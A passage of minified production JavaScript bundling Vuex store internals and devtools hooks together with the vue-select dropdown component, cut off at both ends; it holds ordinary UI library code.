Mutations\",color:L}),n.addTimelineLayer({id:B,label:\"Vuex Actions\",color:L}),n.addInspector({id:P,label:\"Vuex\",icon:\"storage\",treeFilterPlaceholder:\"Filter stores...\"}),n.on.getInspectorTree(function(n){if(n.app===e&&n.inspectorId===P)if(n.filter){var r=[];H(r,t._modules.root,n.filter,\"\"),n.rootNodes=r}else n.rootNodes=[X(t._modules.root,\"\")]}),n.on.getInspectorState(function(n){if(n.app===e&&n.inspectorId===P){var r=n.nodeId;S(t,r),n.state=G(z(t._modules,r),\"root\"===r?t.getters:t._makeLocalGettersCache,r)}}),n.on.editInspectorState(function(n){if(n.app===e&&n.inspectorId===P){var r=n.nodeId,a=n.path;\"root\"!==r&&(a=r.split(\"\u002F\").filter(Boolean).concat(a)),t._withCommit(function(){n.set(t._state.data,a,n.state.value)})}}),t.subscribe(function(e,t){var r={};e.payload&&(r.payload=e.payload),r.state=t,n.notifyComponentUpdate(),n.sendInspectorTree(P),n.sendInspectorState(P),n.addTimelineEvent({layerId:W,event:{time:Date.now(),title:e.type,data:r}})}),t.subscribeAction({before:function(e,t){var r={};e.payload&&(r.payload=e.payload),e._id=I++,e._time=Date.now(),r.state=t,n.addTimelineEvent({layerId:B,event:{time:e._time,title:e.type,groupId:e._id,subtitle:\"start\",data:r}})},after:function(e,t){var r={},a=Date.now()-e._time;r.duration={_custom:{type:\"duration\",display:a+\"ms\",tooltip:\"Action duration\",value:a}},e.payload&&(r.payload=e.payload),r.state=t,n.addTimelineEvent({layerId:B,event:{time:Date.now(),title:e.type,groupId:e._id,subtitle:\"end\",data:r}})}})})}var L=8702998,j=6710886,F=16777215,V={label:\"namespaced\",textColor:F,backgroundColor:j};function U(e){return e&&\"root\"!==e?e.split(\"\u002F\").slice(-2,-1)[0]:\"Root\"}function X(e,t){return{id:t||\"root\",label:U(t),tags:e.namespaced?[V]:[],children:Object.keys(e._children).map(function(n){return X(e._children[n],t+n+\"\u002F\")})}}function H(e,t,n,r){r.includes(n)&&e.push({id:r||\"root\",label:r.endsWith(\"\u002F\")?r.slice(0,r.length-1):r||\"Root\",tags:t.namespaced?[V]:[]}),Object.keys(t._children).forEach(function(a){H(e,t._children[a],n,r+a+\"\u002F\")})}function G(e,t,n){t=\"root\"===n?t:t[n];var r=Object.keys(t),a={state:Object.keys(e.state).map(function(t){return{key:t,editable:!0,value:e.state[t]}})};if(r.length){var o=Y(t);a.getters=Object.keys(o).map(function(e){return{key:e.endsWith(\"\u002F\")?U(e):e,editable:!1,value:K(function(){return o[e]})}})}return a}function Y(e){var t={};return Object.keys(e).forEach(function(n){var r=n.split(\"\u002F\");if(r.length>1){var a=t,o=r.pop();r.forEach(function(e){a[e]||(a[e]={_custom:{value:{},display:e,tooltip:\"Module\",abstract:!0}}),a=a[e]._custom.value}),a[o]=K(function(){return e[n]})}else t[n]=K(function(){return e[n]})}),t}function z(e,t){var n=t.split(\"\u002F\").filter(function(e){return e});return n.reduce(function(e,r,a){var o=e[r];if(!o)throw new Error('Missing module \"'+r+'\" for path \"'+t+'\".');return a===n.length-1?o:o._children},\"root\"===t?e:e.root._children)}function K(e){try{return e()}catch(t){return t}}var q=function(e,t){this.runtime=t,this._children=Object.create(null),this._rawModule=e;var n=e.state;this.state=(\"function\"===typeof n?n():n)||{}},Q={namespaced:{configurable:!0}};Q.namespaced.get=function(){return!!this._rawModule.namespaced},q.prototype.addChild=function(e,t){this._children[e]=t},q.prototype.removeChild=function(e){delete this._children[e]},q.prototype.getChild=function(e){return this._children[e]},q.prototype.hasChild=function(e){return e in this._children},q.prototype.update=function(e){this._rawModule.namespaced=e.namespaced,e.actions&&(this._rawModule.actions=e.actions),e.mutations&&(this._rawModule.mutations=e.mutations),e.getters&&(this._rawModule.getters=e.getters)},q.prototype.forEachChild=function(e){g(this._children,e)},q.prototype.forEachGetter=function(e){this._rawModule.getters&&g(this._rawModule.getters,e)},q.prototype.forEachAction=function(e){this._rawModule.actions&&g(this._rawModule.actions,e)},q.prototype.forEachMutation=function(e){this._rawModule.mutations&&g(this._rawModule.mutations,e)},Object.defineProperties(q.prototype,Q);var Z=function(e){this.register([],e,!1)};function J(e,t,n){if(t.update(n),n.modules)for(var r in n.modules){if(!t.getChild(r))return void 0;J(e.concat(r),t.getChild(r),n.modules[r])}}Z.prototype.get=function(e){return e.reduce(function(e,t){return e.getChild(t)},this.root)},Z.prototype.getNamespace=function(e){var t=this.root;return e.reduce(function(e,n){return t=t.getChild(n),e+(t.namespaced?n+\"\u002F\":\"\")},\"\")},Z.prototype.update=function(e){J([],this.root,e)},Z.prototype.register=function(e,t,n){var r=this;void 0===n&&(n=!0);var a=new q(t,n);if(0===e.length)this.root=a;else{var o=this.get(e.slice(0,-1));o.addChild(e[e.length-1],a)}t.modules&&g(t.modules,function(t,a){r.register(e.concat(a),t,n)})},Z.prototype.unregister=function(e){var t=this.get(e.slice(0,-1)),n=e[e.length-1],r=t.getChild(n);r&&r.runtime&&t.removeChild(n)},Z.prototype.isRegistered=function(e){var t=this.get(e.slice(0,-1)),n=e[e.length-1];return!!t&&t.hasChild(n)};function ee(e){return new te(e)}var te=function(e){var t=this;void 0===e&&(e={});var n=e.plugins;void 0===n&&(n=[]);var r=e.strict;void 0===r&&(r=!1);var a=e.devtools;this._committing=!1,this._actions=Object.create(null),this._actionSubscribers=[],this._mutations=Object.create(null),this._wrappedGetters=Object.create(null),this._modules=new Z(e),this._modulesNamespaceMap=Object.create(null),this._subscribers=[],this._makeLocalGettersCache=Object.create(null),this._scope=null,this._devtools=a;var o=this,i=this,l=i.dispatch,s=i.commit;this.dispatch=function(e,t){return l.call(o,e,t)},this.commit=function(e,t,n){return s.call(o,e,t,n)},this.strict=r;var u=this._modules.root.state;C(this,u,[],this._modules.root),k(this,u),n.forEach(function(e){return e(t)})},ne={state:{configurable:!0}};te.prototype.install=function(e,t){e.provide(t||m,this),e.config.globalProperties.$store=this;var n=void 0!==this._devtools&&this._devtools;n&&N(e,this)},ne.state.get=function(){return this._state.data},ne.state.set=function(e){0},te.prototype.commit=function(e,t,n){var r=this,a=A(e,t,n),o=a.type,i=a.payload,l=(a.options,{type:o,payload:i}),s=this._mutations[o];s&&(this._withCommit(function(){s.forEach(function(e){e(i)})}),this._subscribers.slice().forEach(function(e){return e(l,r.state)}))},te.prototype.dispatch=function(e,t){var n=this,r=A(e,t),a=r.type,o=r.payload,i={type:a,payload:o},l=this._actions[a];if(l){try{this._actionSubscribers.slice().filter(function(e){return e.before}).forEach(function(e){return e.before(i,n.state)})}catch(u){0}var s=l.length>1?Promise.all(l.map(function(e){return e(o)})):l[0](o);return new Promise(function(e,t){s.then(function(t){try{n._actionSubscribers.filter(function(e){return e.after}).forEach(function(e){return e.after(i,n.state)})}catch(u){0}e(t)},function(e){try{n._actionSubscribers.filter(function(e){return e.error}).forEach(function(t){return t.error(i,n.state,e)})}catch(u){0}t(e)})})}},te.prototype.subscribe=function(e,t){return w(e,this._subscribers,t)},te.prototype.subscribeAction=function(e,t){var n=\"function\"===typeof e?{before:e}:e;return w(n,this._actionSubscribers,t)},te.prototype.watch=function(e,t,n){var a=this;return(0,r.wB)(function(){return e(a.state,a.getters)},t,Object.assign({},n))},te.prototype.replaceState=function(e){var t=this;this._withCommit(function(){t._state.data=e})},te.prototype.registerModule=function(e,t,n){void 0===n&&(n={}),\"string\"===typeof e&&(e=[e]),this._modules.register(e,t),C(this,this.state,e,this._modules.get(e),n.preserveState),k(this,this.state)},te.prototype.unregisterModule=function(e){var t=this;\"string\"===typeof e&&(e=[e]),this._modules.unregister(e),this._withCommit(function(){var n=M(t.state,e.slice(0,-1));delete n[e[e.length-1]]}),_(this)},te.prototype.hasModule=function(e){return\"string\"===typeof e&&(e=[e]),this._modules.isRegistered(e)},te.prototype.hotUpdate=function(e){this._modules.update(e),_(this,!0)},te.prototype._withCommit=function(e){var t=this._committing;this._committing=!0,e(),this._committing=t},Object.defineProperties(te.prototype,ne);oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;n[r]=function(){var t=this.$store.state,n=this.$store.getters;if(e){var r=ie(this.$store,\"mapState\",e);if(!r)return;t=r.context.state,n=r.context.getters}return\"function\"===typeof a?a.call(this,t,n):t[a]},n[r].vuex=!0}),n}),oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;n[r]=function(){var t=[],n=arguments.length;while(n--)t[n]=arguments[n];var r=this.$store.commit;if(e){var o=ie(this.$store,\"mapMutations\",e);if(!o)return;r=o.context.commit}return\"function\"===typeof a?a.apply(this,[r].concat(t)):r.apply(this.$store,[a].concat(t))}}),n}),oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;a=e+a,n[r]=function(){if(!e||ie(this.$store,\"mapGetters\",e))return this.$store.getters[a]},n[r].vuex=!0}),n}),oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;n[r]=function(){var t=[],n=arguments.length;while(n--)t[n]=arguments[n];var r=this.$store.dispatch;if(e){var o=ie(this.$store,\"mapActions\",e);if(!o)return;r=o.context.dispatch}return\"function\"===typeof a?a.apply(this,[r].concat(t)):r.apply(this.$store,[a].concat(t))}}),n});function re(e){return ae(e)?Array.isArray(e)?e.map(function(e){return{key:e,val:e}}):Object.keys(e).map(function(t){return{key:t,val:e[t]}}):[]}function ae(e){return Array.isArray(e)||y(e)}function oe(e){return function(t,n){return\"string\"!==typeof t?(n=t,t=\"\"):\"\u002F\"!==t.charAt(t.length-1)&&(t+=\"\u002F\"),e(t,n)}}function ie(e,t,n){var r=e._modulesNamespaceMap[n];return r}},5329:function(e,t,n){\"use strict\";n.d(t,{A:function(){return S}});n(8992),n(3215),n(4520),n(2577),n(3949),n(1454),n(8872),n(7550),n(3375),n(9225),n(3972),n(9209),n(5714),n(7561),n(6197);var r=n(1469),a=n(6436),o=n(5167),i=n(7959);function l(e){return(l=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e})(e)}function s(e){return function(e){if(Array.isArray(e))return d(e)}(e)||function(e){if(\"undefined\"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e[\"@@iterator\"])return Array.from(e)}(e)||u(e)||function(){throw new TypeError(\"Invalid attempt to spread non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}()}function u(e,t){if(e){if(\"string\"==typeof e)return d(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n?Array.from(e):\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n)?d(e,t):void 0}}function d(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function c(e,t){var n=\"undefined\"!=typeof Symbol&&e[Symbol.iterator]||e[\"@@iterator\"];if(!n){if(Array.isArray(e)||(n=u(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0,a=function(){};return{s:a,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:a}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}var o,i=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return i=e.done,e},e:function(e){l=!0,o=e},f:function(){try{i||null==n.return||n.return()}finally{if(l)throw o}}}}var f={inheritAttrs:!1,name:\"vue-input\",props:{autocomplete:{required:!1,type:String},modelValue:{required:!0,type:String},placeholder:{required:!0,type:String},disabled:{required:!0,type:Boolean},tabindex:{required:!0,type:Number},autofocus:{required:!0,type:Boolean},comboboxUid:{required:!0,type:Number}},emits:[\"update:modelValue\",\"input\",\"change\",\"focus\",\"blur\",\"escape\"],setup:function(e,t){var n=(0,o.KR)(null);return(0,a.sV)(function(){e.autofocus&&n.value.focus()}),(0,a.$u)(function(){e.autofocus&&n.value.focus()}),{handleInput:function(e){t.emit(\"input\",e),t.emit(\"update:modelValue\",e.target.value)},handleChange:function(e){t.emit(\"change\",e),t.emit(\"update:modelValue\",e.target.value)},handleFocus:function(e){t.emit(\"focus\",e)},handleBlur:function(e){t.emit(\"blur\",e)},input:n,handleEscape:function(e){n.value.blur(),t.emit(\"escape\",e)}}}},p={class:\"vue-input\"},h=[\"autocomplete\",\"modelValue\",\"placeholder\",\"disabled\",\"tabindex\",\"autofocus\",\"aria-controls\",\"aria-labelledby\"];f.render=function(e,t,n,o,i,l){return(0,a.uX)(),(0,a.CE)(\"div\",p,[(0,a.RG)(e.$slots,\"prepend\"),(0,a.Lk)(\"input\",{ref:\"input\",autocomplete:n.autocomplete,modelValue:n.modelValue,placeholder:n.placeholder,disabled:n.disabled,onInput:t[0]||(t[0]=function(){return o.handleInput&&o.handleInput.apply(o,arguments)}),onChange:t[1]||(t[1]=function(){return o.handleChange&&o.handleChange.apply(o,arguments)}),onFocus:t[2]||(t[2]=function(){return o.handleFocus&&o.handleFocus.apply(o,arguments)}),onBlur:t[3]||(t[3]=function(){return o.handleBlur&&o.handleBlur.apply(o,arguments)}),onKeyup:t[4]||(t[4]=(0,r.jR)((0,r.D$)(function(){return o.handleEscape&&o.handleEscape.apply(o,arguments)},[\"exact\"]),[\"esc\"])),tabindex:n.tabindex,autofocus:n.autofocus,\"aria-autocomplete\":\"list\",\"aria-controls\":\"vs\".concat(n.comboboxUid,\"-listbox\"),\"aria-labelledby\":\"vs\".concat(n.comboboxUid,\"-combobox\")},null,40,h),(0,a.RG)(e.$slots,\"append\")])},f.__file=\"src\u002Fcomponents\u002Finput.vue\";var v={inheritAttrs:!1,name:\"vue-tags\",props:{modelValue:{required:!0,type:Array,validator:function(e){return e.every(function(e){return void 0!==l(e.key)&&void 0!==e.label&&\"boolean\"==typeof e.selected})}},collapseTags:{type:Boolean}},emits:[\"click\"],setup:function(e,t){return{dataAttrs:(0,a.WQ)(\"dataAttrs\"),handleClick:function(e){t.emit(\"click\",e)}}},render:function(e,t,n,o,l,s){return(0,a.uX)(),(0,a.CE)(\"ul\",(0,a.v6)({class:[\"vue-tags\",{collapsed:n.collapseTags}],onMousedown:t[0]||(t[0]=(0,r.D$)(function(){},[\"prevent\"])),tabindex:\"-1\",onClick:t[1]||(t[1]=function(){return o.handleClick&&o.handleClick.apply(o,arguments)})},o.dataAttrs),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(n.modelValue,function(t){return(0,a.uX)(),(0,a.CE)(a.FK,{key:t.key},[t.group?(0,a.Q3)(\"v-if\",!0):((0,a.uX)(),(0,a.CE)(\"li\",{key:0,class:(0,i.C4)([\"vue-tag\",{selected:t.selected}])},[(0,a.RG)(e.$slots,\"default\",{option:t},function(){return[(0,a.Lk)(\"span\",null,(0,i.v_)(t.label),1)]})],2))],64)}),128))],16)},__file:\"src\u002Fcomponents\u002Ftags.vue\"},m={inheritAttrs:!1,name:\"vue-dropdown\",props:{modelValue:{required:!0,type:Array,validator:function(e){return e.every(function(e){return void 0!==l(e.key)&&void 0!==e.label&&\"boolean\"==typeof e.selected})}},comboboxUid:{required:!0,type:Number},maxHeight:{required:!0},highlightedOriginalIndex:{required:!0}},emits:[\"click-item\",\"mouseenter\"],setup:function(e,t){return{dataAttrs:(0,a.WQ)(\"dataAttrs\"),handleClickItem:function(e,n){n.disabled||t.emit(\"click-item\",e,n)},handleMouseenter:function(e,n){t.emit(\"mouseenter\",e,n)}}}},g=[\"id\",\"aria-multiselectable\",\"aria-busy\",\"aria-disabled\"],y=[\"onClick\",\"onMouseenter\",\"id\",\"aria-selected\",\"aria-disabled\"];m.render=function(e,t,n,o,l,s){return(0,a.uX)(),(0,a.CE)(\"ul\",(0,a.v6)({class:\"vue-dropdown\",style:{maxHeight:n.maxHeight+\"px\"},onMousedown:t[0]||(t[0]=(0,r.D$)(function(){},[\"prevent\"]))},o.dataAttrs,{role:\"listbox\",id:\"vs\".concat(n.comboboxUid,\"-listbox\"),\"aria-multiselectable\":o.dataAttrs[\"data-multiple\"],\"aria-busy\":o.dataAttrs[\"data-loading\"],\"aria-disabled\":o.dataAttrs[\"data-disabled\"]}),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(n.modelValue,function(t,r){return(0,a.uX)(),(0,a.CE)(a.FK,{key:t.key},[t.visible&&!1===t.hidden?((0,a.uX)(),(0,a.CE)(\"li\",{key:0,onClick:function(e){return o.handleClickItem(e,t)},class:(0,i.C4)([\"vue-dropdown-item\",{selected:t.selected,disabled:t.disabled,highlighted:t.originalIndex===n.highlightedOriginalIndex,group:t.group}]),onMouseenter:function(e){return o.handleMouseenter(e,t)},role:\"option\",id:\"vs\".concat(n.comboboxUid,\"-option-\").concat(r),\"aria-selected\":!!t.selected||!!t.disabled&&void 0,\"aria-disabled\":t.disabled},[(0,a.RG)(e.$slots,\"default\",{option:t},function(){return[(0,a.Lk)(\"span\",null,(0,i.v_)(t.label),1)]})],42,y)):(0,a.Q3)(\"v-if\",!0)],64)}),128))],16,g)},m.__file=\"src\u002Fcomponents\u002Fdropdown.vue\";var b=function(e,t,n){var r=n.valueBy;return r(e)===r(t)},$=function(e,t,n){var r=n.valueBy;return e.some(function(e){return b(e,t,{valueBy:r})})},w=function(e,t,n){var r=n.valueBy;return e.find(function(e){return r(e)===t})},_=function(e,t,n){var r=n.max,a=n.valueBy;return $(e,t,{valueBy:a})||e.length>=r?e:e.concat(t)},k=function(e,t,n){var r=n.min,a=n.valueBy;return!1===$(e,t,{valueBy:a})||e.length\u003C=r?e:e.filter(function(e){return!1===b(e,t,{valueBy:a})})},C=function(e){return(0,a.EW)(function(){return\"function\"==typeof e.value?e.value:\"string\"==typeof e.value?function(t){return e.value.split(\".\").reduce(function(e,t){return e[t]},t)}:function(e){return e}})},x=function(e,t){var n=(0,a.EW)(function(){return e.value.reduce(function(e,t){return Object.assign(e,(n={},r=t.originalIndex,a=t,r in n?Object.defineProperty(n,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):n[r]=a,n));var n,r,a},{})}),r=function(e){var r=n.value[e];return void 0!==r&&!1!==o(r)&&(t.value=e,!0)},o=function(e){return!e.disabled&&!e.hidden&&e.visible},i=(0,a.EW)(function(){return e.value.some(function(e){return o(e)})});return(0,a.nT)(function(){if(!1===i.value&&(t.value=null),null!==t.value&&e.value.length\u003C=t.value){var n,a=c(e.value.reverse());try{for(a.s();!(n=a.n()).done;){var l=n.value;if(r(l.originalIndex))break}}catch(e){a.e(e)}finally{a.f()}}if(null===t.value||!1===o(e.value[t.value])){var s,u=c(e.value);try{for(u.s();!(s=u.n()).done;){var d=s.value;if(r(d.originalIndex))break}}catch(e){u.e(e)}finally{u.f()}}}),{pointerForward:function(){if(!1!==i.value&&null!==t.value)for(var n=t.value+1,a=0;n!==t.value&&a++\u003Ce.value.length&&(e.value.length\u003C=n&&(n=0),!r(n));)++n},pointerBackward:function(){if(!1!==i.value&&null!==t.value)for(var n=t.value-1,a=0;n!==t.value&&a++\u003Ce.value.length&&(n\u003C0&&(n=e.value.length-1),!r(n));)--n},pointerSet:r}},S=(0,a.pM)({name:\"vue-select\",inheritAttrs:!1,props:{modelValue:{required:!0},emptyModelValue:{},options:{required:!0,type:Array},labelBy:{type:[String,Function]},valueBy:{type:[String,Function]},disabledBy:{default:\"disabled\",type:[String,Function]},groupBy:{default:\"group\",type:[String,Function]},visibleOptions:{type:Array,default:null},multiple:{default:!1,type:Boolean},min:{default:0,type:Number},max:{default:1\u002F0,type:Number},searchable:{default:!1,type:Boolean},searchPlaceholder:{default:\"Type to search\",type:String},clearOnSelect:{default:!1,type:Boolean},clearOnClose:{default:!1,type:Boolean},taggable:{default:!1,type:Boolean},collapseTags:{default:!1,type:Boolean},autocomplete:{default:\"off\",type:String},disabled:{default:!1,type:Boolean},loading:{default:!1,type:Boolean},closeOnSelect:{default:!1,type:Boolean},hideSelected:{default:!1,type:Boolean},placeholder:{default:\"Select option\",type:String},tabindex:{default:0,type:Number},autofocus:{default:!1,type:Boolean},maxHeight:{default:300,type:Number},openDirection:{type:String,validator:function(e){return[\"top\",\"bottom\"].includes(e)}}},emits:[\"selected\",\"removed\",\"update:modelValue\",\"focus\",\"blur\",\"toggle\",\"opened\",\"closed\",\"search:input\",\"search:change\",\"search:focus\",\"search:blur\"],setup:function(e,t){var n=function(e){var t=(0,o.Kh)({}),n=C((0,o.lW)(e,\"labelBy\"));(0,a.nT)(function(){return t.labelBy=n.value});var r=C((0,o.lW)(e,\"valueBy\"));(0,a.nT)(function(){return t.valueBy=r.value});var i=C((0,o.lW)(e,\"disabledBy\"));(0,a.nT)(function(){return t.disabledBy=i.value});var l=C((0,o.lW)(e,\"groupBy\"));(0,a.nT)(function(){return t.groupBy=l.value});var s=(0,a.EW)(function(){return e.multiple?e.min:Math.min(1,e.min)});(0,a.nT)(function(){return t.min=s.value});var u=(0,a.EW)(function(){return e.multiple?e.max:1});return(0,a.nT)(function(){return t.max=u.value}),(0,a.nT)(function(){return t.options=e.options}),t}(e),r=(0,a.EW)(function(){var t;return null!==(t=e.emptyModelValue)&&void 0!==t?t:null}),i=(0,a.nI)(),l=(0,o.KR)(),u=(0,o.KR)(),d=(0,o.KR)(),f=(0,a.EW)(function(){var e;return null===(e=d.value)||void 0===e?void 0:e._.refs.input}),p=(0,o.KR)(!1);(0,a.wB)(function(){return p.value},function(){var n,r;p.value?(t.emit(\"opened\"),t.emit(\"focus\"),e.searchable?(f.value!==document.activeElement&&f.value.focus(),t.emit(\"search:focus\")):null===(n=l.value)||void 0===n||n.focus()):(e.searchable?(f.value===document.activeElement&&f.value.blur(),e.clearOnClose&&D(),t.emit(\"search:blur\")):null===(r=l.value)||void 0===r||r.blur(),t.emit(\"closed\"),t.emit(\"blur\")),t.emit(\"toggle\")});var h=function(){e.disabled||(p.value=!0)},v=function(e){var t;(null===(t=l.value)||void 0===t?void 0:t.contains(null==e?void 0:e.relatedTarget))?setTimeout(function(){var e;null===(e=l.value)||void 0===e||e.focus()}):p.value=!1};(0,a.wB)(function(){return e.disabled},function(){return v()});var m=(0,o.KR)(\"\"),g=(0,a.EW)(function(){return new RegExp(m.value.replace(\u002F[.*+?^${}()|[\\]\\\\]\u002Fg,\"\\\\$&\"),\"i\")}),y=(0,a.EW)(function(){return m.value?n.options.filter(function(e){return g.value.test(n.labelBy(e))}):void 0}),b=(0,o.KR)([]),S=(0,a.EW)(function(){return new Set(b.value.map(function(e){return n.valueBy(e)}))}),E=function(){if(e.multiple){if(!1===Array.isArray(e.modelValue))return!1;if(b.value.length!==e.modelValue.length)return!1;if(Object.keys(b.value).some(function(t){return b.value[t]!==w(n.options,e.modelValue[t],{valueBy:n.valueBy})}))return!1}else{if(0===b.value.length&&e.modelValue!==r.value)return!1;if(1===b.value.length&&e.modelValue===r.value)return!1;if(b.value[0]!==w(n.options,e.modelValue,{valueBy:n.valueBy}))return!1}return!0},T=function(){if(!E()){b.value=[];var t,a=c(e.multiple?e.modelValue:e.modelValue===r.value?[]:[e.modelValue]);try{for(a.s();!(t=a.n()).done;){var o=t.value,i=w(n.options,o,{valueBy:n.valueBy});!1!==$(n.options,i,{valueBy:n.valueBy})&&(b.value=_(b.value,i,{max:1\u002F0,valueBy:n.valueBy}))}}catch(t){a.e(t)}finally{a.f()}}};T(),(0,a.wB)(function(){return e.modelValue},function(){return T()},{deep:!0}),(0,a.wB)(function(){return n.options},function(){b.value=n.options.filter(function(e){return S.value.has(n.valueBy(e))})},{deep:!0});var R,O=function(e,r){(r=r.originalOption).value.every(function(e){var t=w(n.options,e,{valueBy:n.valueBy});return $(b.value,t,{valueBy:n.valueBy})})?r.value.forEach(function(e){var r=w(n.options,e,{valueBy:n.valueBy});b.value=k(b.value,r,{min:n.min,valueBy:n.valueBy}),t.emit(\"removed\",r)}):r.value.forEach(function(e){var r=w(n.options,e,{valueBy:n.valueBy});$(b.value,r,{valueBy:n.valueBy})||(b.value=_(b.value,r,{max:n.max,valueBy:n.valueBy}),t.emit(\"selected\",r))})},M=function(r,a){if(a=a.originalOption,$(b.value,a,{valueBy:n.valueBy}))b.value=k(b.value,a,{min:n.min,valueBy:n.valueBy}),t.emit(\"removed\",a);else{if(!e.multiple&&1===b.value.length){var o=b.value[0];b.value=k(b.value,b.value[0],{min:0,valueBy:n.valueBy}),t.emit(\"removed\",o)}b.value=_(b.value,a,{max:n.max,valueBy:n.valueBy}),t.emit(\"selected\",a)}},A=function(){if(!E()){var a=b.value.map(function(e){return n.valueBy(e)});e.multiple?t.emit(\"update:modelValue\",a):a.length?t.emit(\"update:modelValue\",a[0]):t.emit(\"update:modelValue\",r.value)}},D=function(){f.value.value=\"\",f.value.dispatchEvent(new Event(\"input\")),f.value.dispatchEvent(new Event(\"change\"))},W=(0,a.EW)(function(){var t,r;return null!==(r=null!==(t=e.visibleOptions)&&void 0!==t?t:y.value)&&void 0!==r?r:n.options}),B=(0,o.KR)(0),P=(0,a.EW)(function(){var t,r=new Set(W.value.map(function(e){return n.valueBy(e)})),a=n.options.map(function(t,a){var o,i={key:n.valueBy(t),label:n.labelBy(t),group:null!==(o=n.groupBy(t))&&void 0!==o&&o,originalIndex:a,originalOption:t};return i.selected=i.group?t.value.every(function(e){return S.value.has(e)}):S.value.has(n.valueBy(t)),i.disabled=i.group?n.disabledBy(t)||t.value.every(function(e){var t=w(n.options,e,{valueBy:n.valueBy});return n.disabledBy(t)}):n.disabledBy(t),i.visible=i.group?t.value.some(function(e){return r.has(e)}):r.has(n.valueBy(t)),i.hidden=!!e.hideSelected&&(i.group?t.value.every(function(e){return S.value.has(e)}):S.value.has(n.valueBy(t))),i}),o=c(a);try{for(o.s();!(t=o.n()).done;){var i=t.value;!1!==i.group&&i.disabled&&function(){var e=new Set(i.originalOption.value);a.filter(function(t){return e.has(n.valueBy(t.originalOption))}).forEach(function(e){return e.disabled=!0})}()}}catch(t){o.e(t)}finally{o.f()}return a}),I=x(P,B),N=I.pointerForward,L=I.pointerBackward,j=I.pointerSet,F=\"\",V=\u002F^[\\w]$\u002F,U=(0,a.EW)(function(){var e=s(n.options.keys());return e.slice(B.value).concat(e.slice(0,B.value))}),X=function(){var e,t=null===(e=l.value)||void 0===e?void 0:e.querySelector(\".highlighted\");if(t&&u.value){var n,r=getComputedStyle(t);for(n=0;t.offsetTop+parseFloat(r.height)+parseFloat(r.paddingTop)+parseFloat(r.paddingBottom)>u.value.$el.clientHeight+u.value.$el.scrollTop&&n++\u003CP.value.length;)u.value.$el.scrollTop=u.value.$el.scrollTop+parseFloat(r.height)+parseFloat(r.paddingTop)+parseFloat(r.paddingBottom);for(n=0;t.offsetTop\u003Cu.value.$el.scrollTop&&n++\u003CP.value.length;)u.value.$el.scrollTop=u.value.$el.scrollTop-parseFloat(r.height)-parseFloat(r.paddingTop)-parseFloat(r.paddingBottom)}};(0,a.wB)(function(){return[p.value,n.options,S.value]},function(e,t){!0!==(null==t?void 0:t[0])&&!1!==p.value&&0!==b.value.length&&(j(n.options.findIndex(function(e){return S.value.has(n.valueBy(e))})),(0,a.dY)(X))},{deep:!0,immediate:!0});var H=(0,a.EW)(function(){return{\"data-is-focusing\":p.value,\"data-visible-length\":P.value.filter(function(e){return e.visible&&!1===e.hidden}).length,\"data-not-selected-length\":n.options.length-P.value.filter(function(e){return e.selected}).length,\"data-selected-length\":P.value.filter(function(e){return e.selected}).length,\"data-addable\":P.value.filter(function(e){return e.selected}).length\u003Cn.max,\"data-removable\":P.value.filter(function(e){return e.selected}).length>n.min,\"data-total-length\":n.options.length,\"data-multiple\":e.multiple,\"data-loading\":e.loading,\"data-disabled\":e.disabled}});(0,a.Gt)(\"dataAttrs\",H);var G=(0,a.EW)(function(){return P.value.filter(function(e){return e.selected}).filter(function(e){return!e.group})}),Y=(0,a.EW)(function(){return e.multiple?0===G.value.length?e.placeholder:1===G.value.length?\"1 option selected\":G.value.length+\" options selected\":0===G.value.length?e.placeholder:G.value[0].label+\"\"}),z=(0,a.EW)(function(){var t=G.value.map(function(e){return e.originalOption});return e.multiple?t:t[0]||r.value}),K=(0,o.KR)();return(0,a.wB)(function(){return[e.openDirection,p.value]},function(){var t,n;K.value=null!==(n=null!==(t=e.openDirection)&&void 0!==t?t:function(){if(void 0!==l.value&&void 0!==window)return window.innerHeight-l.value.getBoundingClientRect().bottom>=e.maxHeight?\"bottom\":\"top\"}())&&void 0!==n?n:\"bottom\"},{immediate:!0}),{instance:i,isFocusing:p,wrapper:l,dropdown:u,input:d,focus:h,blur:v,toggle:function(){p.value?v():h()},searchingInputValue:m,handleInputForInput:function(e){t.emit(\"search:input\",e)},handleChangeForInput:function(e){t.emit(\"search:change\",e)},handleFocusForInput:function(e){h()},handleBlurForInput:function(e){v()},optionsWithInfo:P,addOrRemoveOption:function(t,n){e.disabled||(n.group&&e.multiple?O(t,n):M(t,n),A(),!0===e.closeOnSelect&&(p.value=!1),!0===e.clearOnSelect&&m.value&&D())},dataAttrs:H,innerPlaceholder:Y,selected:z,highlightedOriginalIndex:B,pointerForward:function(){N(),(0,a.dY)(X)},pointerBackward:function(){L(),(0,a.dY)(X)},pointerFirst:function(){var e,t=c(n.options.keys());try{for(t.s();!(e=t.n()).done;){var r=e.value;if(j(r))break}}catch(e){t.e(e)}finally{t.f()}(0,a.dY)(X)},pointerLast:function(){var e,t=c(s(n.options.keys()).reverse());try{for(t.s();!(e=t.n()).done;){var r=e.value;if(j(r))break}}catch(e){t.e(e)}finally{t.f()}(0,a.dY)(X)},typeAhead:function(t){var 